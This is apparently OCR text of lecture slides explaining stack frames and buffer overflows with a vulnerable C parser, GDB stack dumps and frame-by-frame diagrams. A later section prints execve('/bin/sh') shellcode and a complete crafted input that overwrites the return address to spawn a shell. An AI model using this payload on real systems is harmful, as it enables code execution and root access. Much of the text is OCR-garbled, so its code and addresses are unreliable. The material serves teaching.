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Stack Frame

1:void copy lower (char* in, char* out) {
2: int i = 0;
3: while (in[i]!=‘\0’ && in[i]!=‘\n’") {
4: out[i] = tolower(in[i]);
5: i++;
6: }
7: out[i] = ‘\0’;
8:}
9:int parse(FILE *fp) {
10: char buf[5], *url, cmd[128];
11: fread(cmd, 1, 128, fp);
12: int header ok = @;
13: if (cmd[0] == ‘G ’)
14: if (cmd[1l] = E')
15: if (cmd[2] == T’)
16: if (emd[3] == * ")
17: header ok = 1;
18: if ('header ok) return -1;
19: wurl = cmd + 4;
20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }

A quick example to
illustrate multiple stack
frames




Viewing >taCck rrame with
GDB

Our example modified to
include a main function
ompile: Darse
gcCc -g parse.Cc -0 parse . .
1:void copy lower (char* in, char* out)
{
2: int i = 0;
Run 3: while (in[i]!'=‘\0’ && in[i]!'=‘\n")
. {
4: out[i] = tolower(in[i]);
./parse 5: i+
6: }
;:} out[i] = ‘\0’;
Debug: T Tresatems L, 108, tov
I 12: int header ok = 0;
We can debug using gdb. 1e I e ok e
gdb parse 14:  if (cmd[1] == ‘E’)
15: if (emd[2] == ‘T")
16: if (emd[3] == * ")
17: header ok = 1;
Then we can take a look at the 18] if (Iheaden ok} return -1;
stack. 19: url = cmd + 4;
20: copy_lower(url, buf);
(gdb) break 7 21: printf(“Location is %s\n”, buf);
(gdb) run 22: return 0; }
(gdb) x/64x $esp 23: /** main to load a file and run
parse */




vViewing StacCk rrame wi
GDB

Our running example
modified to illustrate
Debug: iple stack frames

(gdb) x/64x $esp

e user@box: ~/slides

| (gdb) =x/64x Ses=p

lOxbEEEEGRO : 0x00000041 Oxbffffeald OxbTef2bee 0x0804a008
Oxbffffes0: OxbffffecO Ox00000080 OxbTed9Sec0 Ox00000002
Oxbffffeal. 0x00000000 Oxb7TEfd7ELf4 0xbffffT758 0x080485a2
Oxbffffebi: Dxbffffecd Oxhff£f£740 0=x00000006 Ox0804a008
OxbffffecO: Ox205494547T Ox00004141 0x00000008 OxbffffTlc
Oxbffffedi. OxbTefddslb O0x00000000 Oxb7fb8145 O0x00000000
Oxbffffeel: 0x000001b6 Ox00000008 Q=x00000001 OxbhTefe3b0
OxbffffefO: Dx00000000 Ox00000000 0x080486d0 0x0804a008
OxbEf££700 . 0x0804a008 O0x00000000 OxbEfffT1c OxbTefel3e
Oxbfff£f710: OxbTEdTEE4 OxhTeflfac OxbT7fd7£ff4 Oxhfff£740
Oxbfff£f720: OxbTef2089 O0x0804a008 0x080486d3 O0x080486d0
OxbEf££730.: O0x00000001 Oxb7TE£d4d7860 Oxb7f£d7TEEf4 O0x00000000
Oxbfff£740: Dxbfffelel OxbTef20dec Q=x00000001 Oxbffffecd
OxbEf££750: Ox00000001 OxbTfdT7EfE4 0xbfEffETTE 0x08048%5ee
Oxbffff760: Dx08042008 Ox080486d0 D=x0804861b OxbTEfdTE£f4
O0xbfff£770: O0x08048c10 Ox00000000 Oxbfff£f7Ef8 OxbTeaccTh
(gdb) [i




What are buffer overflows?

gl:void copy lower (char* in, char* out)
{

int 1 = 0;
while (in[i]!'=‘\0" && in[il!=‘\n")

gut[i] = tolower(in[1]);
i++;

}

out[i] = “\0O’';

CTrrat yuUuT1TJ]1, ur Ly, CinmuT L2901,

fread(cmd, 1, 128, fp);
int header ok = 0;

url = cmd + 4;

copy lower(url, buf);
printf(“Location 1is %s\n”, buf);
return 0; }

: /** main to load a file and run

GET
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

oxbffff760
oxbffff75c

oxbffff758

Oxbffff74c
Oxbffff748
Oxbffff744
Oxbffff740
Oxbffff73c

Oxbffff6c4a
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x0804a008

0x080485a2

Oxbfff£f778

Oxbffff6csd
0x00000001
O0xbfef20dc
0xbf02224c
0x00000000

0x41414141
0x20544547

Oxbf£f£f£740

Oxbfffféc4d

0x080485a2

Oxbffff758

0x00000000

parse’s

<Leturn address

<stack frame ptr

<= url

<= header_ok

S buf[4]

<= buf[3,2,1,0]

<= cmd[127,126,12!

<= cmd[7,6,5,4]
<= cmd[3,2,1,0]

<—out

<=in

<teturn address
<stack frame ptr
<=

“.copy lower’
frame



What are buffer overflows?

e —
1:void copy lower (char* in, char* out)
3 iﬁ: int i = 0;

3: while (in[i]!=‘\0" && in[i]!='\n")
{

4: out[i] = tolower(in[i]);

5: 1++;

6: }

7: out[i] = '\0O’;

8:}

LU CTTaT L A" I B = ] ur o, cmuT 1o,

11: fread(cmd, 1, 128, fp);

12: int header ok = 0;

i9: url = cmd + 4;
20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }
23: /** main to load a file and run
parse */

input file)

GET

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

oxbffff760
oxbffff75c

oxbffff758

Oxbffff74c
Oxbffff748
Oxbffff744
Oxbffff740
Oxbffff73c

Oxbffff6c4a
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x0804a008

0x080485a2

Oxbfff£f778

Oxbffff6csd
0x00000001
O0xbfef20dc
0xbf022261

0x00000000

0x41414141
0x20544547

Oxbf£f£f£740

Oxbfffféc4d

0x080485a2

Oxbffff758

0x00000000

<—fp
<Leturn address

<stack frame ptr

<= url

<= header_ok

S buf[4]

<= buf[3,2,1,0]

<= cmd[127,126,12!

<= cmd[7,6,5,4]
<= cmd[3,2,1,0]

<—out
<=in
<teturn address

<stack frame ptr

<= i



What are buffer overflows?

Jarse.cC
1:void copy lower (char* in, char* out)
3 iﬁ: int i = 0;
3: while (in[i]!=‘\0" && in[i]!='\n")
{
4: out[i] = tolower(in[i]);
5: 1++;
6: }
7: out[i] = '\0O’;
8:
LU CTTaT DUT L1 ar c, O T X071,
11: fread(cmd, 1, 128, fp);
12: int header ok = 0;
i9: url = cmd + 4;
20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }
23: /** main to load a file and run
parse */
(input file)
GET

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

oxbffff760
oxbffff75c

oxbffff758

Oxbffff74c
Oxbffff748
Oxbffff744
Oxbffff740
Oxbffff73c

Oxbffff6c4a
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x0804a008

0x080485a2

Oxbfff£f778

Oxbffff6csd
0x00000001
O0xbfef20dc
0xb£f026161

0x00000000

0x41414141
0x20544547

Oxbf£f£f£740

<—out

Oxbfffféc4d

0x080485a2

Oxbffff758

0x00000001

<Leturn address

<stack frame ptr

<= header_ok

bufl[4]

buf[3,2,1,0]
cmd[127,126,12¢F

cmd[7,6,5,4]
cmd[3,2,1,0]

<teturn address

<stack frame ptr



What are buffer overflows?

Jarse.cC
1:void copy lower (char* in, char* out)
3 iﬁ: int i = 0;
3: while (in[i]!=‘\0" && in[i]!='\n")
{
4: out[i] = tolower(in[i]);
5: 1++;
6: }
7: out[i] = '\0O’;
8:
LU CTTaT DUT L1 ar c, O T X071,
11: fread(cmd, 1, 128, fp);
12: int header ok = 0;
i9: url = cmd + 4;
20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }
23: /** main to load a file and run
parse */
(input file)
GET

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

oxbffff760
oxbffff75c

oxbffff758

Oxbffff74c
Oxbffff748
Oxbffff744
Oxbffff740
Oxbffff73c

Oxbffff6c4a
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x0804a008

0x080485a2

Oxbfff£f778

Oxbffff6csd
0x00000001
O0xbfef20dc
0xbf616161

0x00000000

0x41414141
0x20544547

Oxbf£f£f£740

<—out

Oxbfffféc4d

0x080485a2

Oxbffff758

0x00000002

<Leturn address

<stack frame ptr

<= header_ok

bufl[4]

buf[3,2,1,0]
cmd[127,126,12¢F

cmd[7,6,5,4]
cmd[3,2,1,0]

<teturn address

<stack frame ptr



What are buffer overflows?

Jarse.cC
1:void copy lower (char* in, char* out)
3 iﬁ: int i = 0;
3: while (in[i]!=‘\0" && in[i]!='\n")
{
4: out[i] = tolower(in[i]);
5: 1++;
6: }
7: out[i] = '\0O’;
8:
LU CTTaT DUT L1 ar c, O T X071,
11: fread(cmd, 1, 128, fp);
12: int header ok = 0;
i9: url = cmd + 4;
20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }
23: /** main to load a file and run
parse */
(input file)
GET

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

oxbffff760
oxbffff75c

oxbffff758

Oxbffff74c
Oxbffff748
Oxbffff744
Oxbffff740
Oxbffff73c

Oxbffff6c4a
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x0804a008

0x080485a2

Oxbfff£f778

Oxbffff6csd
0x00000001
O0xbfef20dc
0x61616161

0x00000000

0x41414141
0x20544547

Oxbf£f£f£740

<—out

Oxbfffféc4d

0x080485a2

Oxbffff758

0x00000003

<Leturn address

<stack frame ptr

<= header_ok

bufl[4]

buf[3,2,1,0]
cmd[127,126,12¢F

cmd[7,6,5,4]
cmd[3,2,1,0]

<teturn address

<stack frame ptr



What are buffer overflows?

Jarse.cC
1:void copy lower (char* in, char* out)
3 iﬁ: int i = 0;
3: while (in[i]!=‘\0" && in[i]!='\n")
{
4: out[i] = tolower(in[i]);
5: 1++;
6: }
7: out[i] = '\0O’;
8:
LU CTTaT DUT L1 ar c, O T X071,
11: fread(cmd, 1, 128, fp);
12: int header ok = 0;
i9: url = cmd + 4;
20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }
23: /** main to load a file and run
parse */
(input file)
GET

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

oxbffff760
oxbffff75c

oxbffff758

Oxbffff74c
Oxbffff748
Oxbffff744
Oxbffff740
Oxbffff73c

Oxbffff6c4a
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x0804a008

0x080485a2

Oxbfff£f778

Oxbffff6c4d
0x00000001
Oxbfef2061
0x61616161

0x00000000

0x41414141
0x20544547

Oxbf£f£f£740

<—out

Oxbfffféc4d

0x080485a2

Oxbffff758

0x00000004

<Leturn address

<stack frame ptr

<= header_ok

bufl[4]

buf[3,2,1,0]
cmd[127,126,12¢F

cmd[7,6,5,4]
cmd[3,2,1,0]

<teturn address

<stack frame ptr



What are buffer overflows?

Jarse.cC
: : 0x0804a008
1:void copy lower (char* in, char* out)
. oxbffff7ee | 0x080485a2 Q. fp
: int 1 = 0;
{
4:  out[i] = tolower(in[il); oxbffff75s | GxBEMEEeCE  Jestack frame ptr
5: it++; oxbffff74c Oxbfef6161 <= url
6: 1} Oxbffff748 <= header ok
. c1 . 0x61616161 -
7: out[i] = "\0’; ) oxvrfrfzaa | o io000000 <= buf[4]
J.?:} CTTaT DUT L1 ar c, O T X071, 0befff740 . <_ bUf[3'2'1'o]
17 : fread(cmd, 1, 128, fp) : 0befff73c : L= Cmd[127,126,125
12: int header ok = 0; . Oxaifiaded .
. - . 0x20544547 .
: oxbffffeca <= cmd[7,6,5,4]
19: url = cmd + 4; Oxbffffeco <= cmd[3,2,1,0]

20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }

23: / main to load a file and run oxbFFFFEba OxbFEEFTAQ <—out

parse */
_(input file) oxbffffebo | Oxbffffécd J <—in
oxbffffeac 0x080485a2 J «return address
GET oxbffffeas | OXbELE£E758 B stack frame ptr

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x00000005

oxbffff69c <=1

Uh oh....




What are buffer overflows?

Jarse.cC
: : 0x0804a008
1:void copy lower (char* in, char* out)
. oxbffff7ee | 0x080485a2 Q. fp
: int 1 = 0;
{
4:  out[i] = tolower(in[il); oxbffff75s | GxBEMEEeCE  Jestack frame ptr
5: it++; oxbffff74c 0xbf616161 <= url
6: 1} Oxbffff748 <= header ok
. c1 . 0x61616161 -
7: out[i] = "\0’; ) oxvrfrfzaa | o io000000 <= buf[4]
J.?:} CTTaT DUT L1 ar c, O T X071, 0befff740 . <_ bUf[3'2'1'o]
17 : fread(cmd, 1, 128, fp) : 0befff73c : L= Cmd[127,126,125
12: int header ok = 0; . Oxaifiaded .
. - . 0x20544547 .
: oxbffffeca <= cmd[7,6,5,4]
19: url = cmd + 4; Oxbffffeco <= cmd[3,2,1,0]

20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }

23: / main to load a file and run oxbFFFFEba OxbFEEFTAQ <—out

parse */
_(input file) oxbffffebo | Oxbffffécd J <—in
oxbffffeac 0x080485a2 J «return address
GET oxbffffeas | OXbELE£E758 B stack frame ptr

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x00000005

oxbffff69c <=1

Uh oh....




What are buffer overflows?

: , 0x0804a008
1:void copy lower (char* in, char* out)
3 . oxbffff7ee J| 0x080485a2 R fp
: int 1 = 0;

{4 out[i] = tolower(in[il); oxbffff758 0x61616161 «stack frame ptr

5:  id+ Bm) oxbffffrac o ereies M= ur

6: 1} oxbfff£748 - header ok

8.1 ’ exggg”“ 000000000 J<— buf[4]
LU CTTaT DUT L1 ar c, O T X071, gibffff;gg : :_ bde[[3i§l7ll]-02]6 12:
i freadiond, L 1 | o o gmanznazes
L - ' . 0x20544547 .
: oxbffffeca <= cmd[7,6,5,4]
19: url = cmd + 4; oxbffffeco <— cmd[3,2,1,0]

20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }

23: / main to load a file and run oxbFFFFEba 0xbFfEFET40 <—out

™8 parse */
_(input file) oxbffffebo | Oxbffffécd J <—in
oxbffffeac 0x080485a2 J «return address
GET oxbffffeas | OXbELE£E758 B stack frame ptr

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x00000004

oxbffff69c <=1

Uh oh....




What are buffer overflows?

: , 0x61616161
1:void copy lower (char* in, char* out)
) o - oxbffff7eo | 0x61616161 QM. fp
3 3: while (in[i]!=‘\0’ && in[i]!='\n") oxbffff75c 0x61616161 Q§return address
{4 out[i] = tolower(in[il); oxbffff758 0x61616161 «stack frame ptr
5: i+ oxbfFff74c Ox6i66 et N un
6: } oxbffff7a8 | oncqicicies header ok
7+ out[i] = ‘\0’: 0x61616161 [<— header o
8.1 ’ exggg”“ 0x00000000 J<— buf[4]
LU CTTaT DUT L1 ar c, O T X071, gibffff;gg : :_ bde[[3i§l7ll]-02]6 12:
i freadiond, L 1 | o o gmanznazes
L - ' . 0x20544547 .
: Oxbfffféc4 <= cmd[7,6,5,4]
19: url = cmd + 4; oxbffffeco <— cmd[3,2,1,0]

20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }

23: / main to load a file and run oxbFFFFEba 0xbFfEFET40 <—out

™8 parse */
_(input file) oxbffffebo | Oxbffffécd J <—in
oxbffffeac 0x080485a2 J «return address
GET oxbffffeas | OXbELE£E758 B stack frame ptr

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x00000019

oxbffff69c <=1

Uh oh....




What are buffer overflows?

1:void copy lower (char* in, char* out)
3 iﬁ: int i = 0;
3: while (in[i]!=‘\0" && in[i]!='\n")
{
4: out[i] = tolower(in[i]);
5: 1++;
6: }
7: out[i] = '\0O’;
8:}
LU CTTaT DUT L1 ar c, O T X071,
11: fread(cmd, 1, 128, fp);
12: int header ok = 0;
i9: url = cmd + 4;
20: copy lower(url, buf);
21: printf(“Location is %s\n”, buf);
22: return 0; }
23: /** main to load a file and run
8 parse */
(input file)
GET

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Uh oh....

=

oxbffff760
oxbffff75c

oxbffff758

Oxbffff74c
Oxbffff748
Oxbffff744
Oxbffff740
Oxbffff73c

Oxbffff6c4a
Oxbffff6coO

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x61616161
0x61616161
0x61616161

0x61616161

0x61616161

0x61616161

0x61616161
0x61616161
0x61616161
0x61616161
0x00000000

0x41414141
0x20544547

Oxbf£f£f£740

<—out

Oxbfffféc4d

0x080485a2

Oxbffff758

0x00000025

<Leturn address

<stack frame ptr

<= header_ok

bufl[4]

buf[3,2,1,0]
cmd[127,126,12¢F

cmd[7,6,5,4]
cmd[3,2,1,0]

<teturn address

<stack frame ptr



What are buffer overflows?

" v CIrraal

1:void copy lower (char* in, char* out)

2 int 1 = 0;

3: while (in[i]'=‘\0’" && in[i]!='\n")
4: out[i] = tolower(in[1]);

5: 1++;

6: }

7: out[i] = ‘\O';

8:}

DOT LI, Ol cy) CHMULTZO1

11: fread(cmd, 1, 128, fp);
12: int header ok = 0;

url = cmd + 4;

copy lower(url, buf);
printf(“Location 1is %s\n”, buf);
return 0; }

23: /** main to load a file and run
parse */

=

(input file)

GET

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

nd when you try to return from parse...
... SEGFAULT, since 0x61616161 is

not a valid location to return to.

oxbffff760
oxbffff75c

oxbffff758

Oxbffff74c
Oxbffff748
Oxbffff744
Oxbffff740
Oxbffff73c

Oxbffff6c4a
Oxbffff6coO

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x61616161
0x61616161
0x61616161

ox61616161 | ¢q

0x61616161 ¥ roturn address

0x61616161 N ctack frame ptr

0x61616161
0x61616161
0x61616161
0x61616161
0x00000000

<= url

<= header_ok

S buf[4]

<= buf[3,2,1,0]

<= cmd[127,126,12!

0x41414141
0x20544547
Oxbffff6cd
0x00000001

Oxbf£f£f£740 j§<«—out

0xbffff6cd J<—in

0x080485a2 J «return address

Oxbf£££758 N stack frame ptr

0x00000025 <1




Basic Stack Exploit

* Overwriting the return address allows an
attacker to redirect the flow of program control

* Instead of crashing, this can allow arbitrary
code to be executed
— Code segment called “shellcode”

* Example: the execve system call is used to
execute a file

— With the correct permissions, execve(“/bin/sh”) can
be used to obtain a root-level shell.



Shellcode of execve

« How to develop shellcode that runs as
execve(“/bin/sh”)?

0x80002bc < execve>: pushl %ebp

void main() { &xeBbOI;)OZbd < execve+1>: movl %esp,

char *name[2]; 0x80002bf < execve+3>: pushl %ebx
, lisassembly of execve call)* The procedure prelude.
name[0] = "/bin/sh";

name[1] = NULL; ) | 0x80002c0 <__execve+4>: movl $0xb,
execve(name[0], name, %eaXx

NULL); COﬁy Oxb (11 decimal) onto the stack.
} ' This is the index into the syscall table.
11 is execve.

mat instructions and data as charac

—_
o

)* 0x80002c5 < execve+9>: movl

0x8(%ebp),%ebx

Copy the address of "/bin/sh" into EBX.
0x80002c8 < execve+12>: movl
Oxc(%ebp),%ecx

“\xeb\x1AX5e\x89\x76\x08\x3 1\XCO\XEB\ Copy the address of name[] into ECX.

x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x
08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd 0x80002cb <__execve+15>: movl

8\x40\xcd\x80\xe8\xdc\xFAXFAXFF/bin/sh” 0x10(%ebp),%edx

For mosedietaile) i 1d S ARG the Stack by alept




Basic Stack Exploit

So suppose we overflow with a string that looks like the
assembly of: Shell Code:

<_| exectetmrsirs

To previous stack
frame pointer

.|
ShellCode :
To previous stack

frame pointer

arguments

return address crafted return address

stack frame pointer

>

A
o

To the instruction at whic
this function was called

To the
instruction at
which this
function was
called

buffer

“\xeb\x1A\x5e\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\
x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xfA\xfA\xff/bin/sh”

When the function exits, the user gets shell !!!

) (exact shell code by Aleph One;
Note: shellcode runs in stack.



Basic Stack Exploit

1:void copy lower (char* in, char* out)

k oxbffffzeo || 0x0804a008 § ¢y
S int i =0, 0x080485a2
3: while (in[i]'=‘\0’" && in[i]'!='\n") Oxbffff75c X a <Leturn address
{ 0x61616161 J<
4 out[i] = tolower(in[i]); oxbffff758 Stack frame ptr
5: i++; oxbffff74c 0x61616161 <= url
6: } Oxbffff748 8"2%212%2% <= header ok
7: buf[i] = “\0’; oxbffff744 0x61616161 <= buf[4]
8:} oxbffff740 0x00000000 N$— bufl3,2,1,01
TO . \"LE L= B B v Av I m e OTr C) CMULXIZOT 7 0befff73c <_ Cmd[127,126,14
11: fread(cmd, 1, 128, fp); : : 1
12: 1int head k = 0; . .
,<# 1Nt header_o oxbffffrdg J| OXFEEEETOS Ho
. . : cmd[25,26,27,2
19: url = cmd + 4; . 0x41414141 .
20: copy lower(url, buf); oxbffffec4 0x20544547 f<— -
21: printf(“Location is %s\n”, buf); Oxbffffece < gmgg'g'i'ﬂ
22: return 0; } Py
23: /** main to load a file and run
parse */
. : oxbffffeb4 Oxbf£££740 —out
input file) €
oxbffffebe Oxbffff6cd <—in

GET
AAAAAAAAAAAAAAAAAAAAAAAANXBA\ X T7\x T f\xff
AAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\
x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\
xdc\xfA\xfA\xff/bin/sh

oxbffff6ac
Oxbffff6as

Oxbffff69c

0x080485a2

Oxbfff£758

0x00000019

<= i

<Leturn address

<stack frame ptr



Basic Stack Exploit

1:void copy lower (char* in, char* out)
3 iﬁ: int 1 = 0;
3: while (in[i]!=‘\0" && in[i]!='\n")

4 out[i] = tolower(in[1]);
5: i++;

6: }

7: buf[i] = ‘\O";

8:}

LU » wIrraad L>A™ I BN =N 7 ulr v, i L9 1,

11: fread(cmd, 1, 128, fp);
12: int header ok = 0;

19: url = cmd + 4;

20: copy lower(url, buf);

21: printf(“Location is %s\n”, buf);
22: return 0; }

23: /** main to load a file and run
parse */

input file)

GET
AAAAAAAAAAAAAAAAAAAAAAAANXBANX T 7\ X T F\XTT
AAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\
x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\
xdc\xfA\xfA\xff/bin/sh

oxbffff760
oxbffff75c

oxbffff758

oxbffff74c
Oxbffff748
oxbffff744
Oxbffff740
oxbffff73c

oxbffff7ds

oxbffffeca
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x0804a008

OVERWRITE POINT!

0x08048564

0x61616161

0x61616161
0x61616161
0x61616161
0x61616161
0x00000000

OxEfEEEET64

0x41414141
0x20544547

Oxbff££740

Oxbffffécd

0x080485a2

Oxbff£f£758

0x00000019

<= i

<—fp
<Leturn address

<stack frame ptr

url
<= header ok
<= buf[4]
<= buf[3,2,1,0]
<— fmd[127,126,1:
<= .
cmd[25,26,27,2
<~ .
<= <md[7,6,5,4]
cmd[3,2,1,0]
<—out
<—Iin

<Leturn address

<stack frame ptr



Basic Stack Exploit

1:void copy lower (char* in, char* out)
3 iﬁ: int 1 = 0;
3: while (in[i]!=‘\0" && in[i]!='\n")

4 out[i] = tolower(in[1]);
5: i++;

6: }

7: buf[i] = ‘\O";

8:}

LU » wIrraad L>A™ I BN =N 7 ulr v, i L9 1,

11: fread(cmd, 1, 128, fp);
12: int header ok = 0;

19: url = cmd + 4;

20: copy lower(url, buf);

21: printf(“Location is %s\n”, buf);
22: return 0; }

23: /** main to load a file and run
parse */

input file)

GET
AAAAAAAAAAAAAAAAAAAAAAAANXBA\X T 7\ X T F\XxTT
AAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\
x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\
xdc\xfA\xfA\xff/bin/sh

oxbffff760
oxbffff75c

oxbffff758

oxbffff74c
Oxbffff748
oxbffff744
Oxbffff740
oxbffff73c

oxbffff7ds

oxbffffeca
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x0804a008

OVERWRITE POINT!

0x0804f764

0x61616161

0x61616161
0x61616161
0x61616161
0x61616161
0x00000000

OxEfEEEET64

0x41414141
0x20544547

Oxbff££740

Oxbffffécd

0x080485a2

Oxbff£f£758

0x00000019

<= i

<—fp
<Leturn address

<stack frame ptr

url
<= header ok
<= buf[4]
<= buf[3,2,1,0]
<— fmd[127,126,1:
<= .
cmd[25,26,27,2
<~ .
<= <md[7,6,5,4]
cmd[3,2,1,0]
<—out
<—Iin

<Leturn address

<stack frame ptr



Basic Stack Exploit

1:void copy lower (char* in, char* out)
3 iﬁ: int 1 = 0;
3: while (in[i]!=‘\0" && in[i]!='\n")

4 out[i] = tolower(in[1]);
5: i++;

6: }

7: buf[i] = ‘\O";

8:}

LU » wIrraad L>A™ I BN =N 7 ulr v, i L9 1,

11: fread(cmd, 1, 128, fp);
12: int header ok = 0;

19: url = cmd + 4;

20: copy lower(url, buf);

21: printf(“Location is %s\n”, buf);
22: return 0; }

23: /** main to load a file and run
parse */

input file)

GET
AAAAAAAAAAAAAAAAAAAAAAAANXBA\X T 7\ X T F\XxTTf
AAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\
x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\
xdc\xfA\xfA\xff/bin/sh

oxbffff760
oxbffff75c

oxbffff758

oxbffff74c
Oxbffff748
oxbffff744
Oxbffff740
oxbffff73c

oxbffff7ds

oxbffffeca
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

0x0804a008

OVERWRITE POINT!

0x08fff764

0x61616161

0x61616161
0x61616161
0x61616161
0x61616161
0x00000000

OxEfEEEE764

0x41414141
0x20544547

Oxbff££740

Oxbffffécd

0x080485a2

Oxbff£f£758

0x00000019

<= i

<—fp
<Leturn address

<stack frame ptr

url
<= header ok
<= buf[4]
<= buf[3,2,1,0]
<— fmd[127,126,1:
<= .
cmd[25,26,27,2
<~ .
<= <md[7,6,5,4]
cmd[3,2,1,0]
<—out
<—Iin

<Leturn address

<stack frame ptr



Basic Stack Exploit

1:void copy lower (char* in, char* out)
3 iﬁ: int 1 = 0;
3: while (in[i]!=‘\0" && in[i]!='\n")

4 out[i] = tolower(in[1]);
5: i++;

6: }

7: buf[i] = ‘\O";

8:}

LU » wIrraad L>A™ I BN =N 7 ulr v, i L9 1,

11: fread(cmd, 1, 128, fp);
12: int header ok = 0;

19: url = cmd + 4;

20: copy lower(url, buf);

21: printf(“Location is %s\n”, buf);
22: return 0; }

23: /** main to load a file and run
parse */

input file)

GET
AAAAAAAAAAAAAAAAAAAAAAAANXBA\X T 7\ X T F\XxTTf
AAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\
x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\
xdc\xfA\xfA\xff/bin/sh

oxbffff764

oxbffff760
oxbffff75c

oxbffff758

oxbffff74c
Oxbffff748
oxbffff744
Oxbffff740
oxbffff73c

oxbffff7ds

oxbffffeca
Oxbffff6co

oxbffffeba
oxbffffebo
oxbfffféac
oxbffff6a8

Oxbffff69c

1x0804a008

OVERWRITE POINT!

Tff££764

0x61616161

0x61616161
0x61616161
0x61616161
0x61616161
0x00000000

OxfEEEE764

0x41414141
0x20544547

Oxbff£f£740

Oxbffffécd

0x080485a2

Oxbfff£758

0x00000019

<= i

<—fp
<Leturn address

<stack frame ptr

url
<= header ok
<= buf[4]
<= buf[3,2,1,0]
<— fmd[127,126,1:
<~ .
cmd[25,26,27,2
< .
<= <md[7,6,5,4]
cmd[3,2,1,0]
<—out
<—Iin

<Leturn address

<stack frame ptr



Basic Stack Exploit

ACTIVATE POINT!

shellcodé

GET
AAAAAAAAAAAAAAAAAAAAAAAANXBA\X T 7\ X T F\XxTTf
AAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\
x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\
xdc\xfA\xfA\xff/bin/sh

oxbffff6ac
Oxbffff6as

Oxbffff69c

0x080485a2

Oxbff£f£758

0x00000019

<= i

Oxbffff764
1:void copy lower (char* in, char* out)
k oxbffffreo || 0x61616161 § _ fpn
S int i =0, FEEEET64
3: while (in[i]!=‘\0' && in[i]'='\n") Oxbffff75c 0x 76 <Leturn address
{ 0x61616161 J<
4 out[i] = tolower(in[il]); oxbffff758 Stack frame ptr
5: 1++; oxbffff74c 0x61616161 <= url
6: } Oxbffff748 8"2%212%2% <= header ok
7: buf[i] = ‘\O"; Oxbffff744 0x61616161 <= buf[4]
8 Oxbffff740 0:00000000 <= buf]3,2,1,0]
TO . \"LE L= B B v Av I m e OTr C) CMULXIZOT 7 0befff73c <_ Cmd[127,126,1:
11: fread(cmd, 1, 128, fp); . 1
. int header ok = 0: : :
tnt header_o oxbffffrdg | OXFTEEETOf Mo
. ) cmd[25,26,27,2
url = cmd + 4; . 0x41414141 .
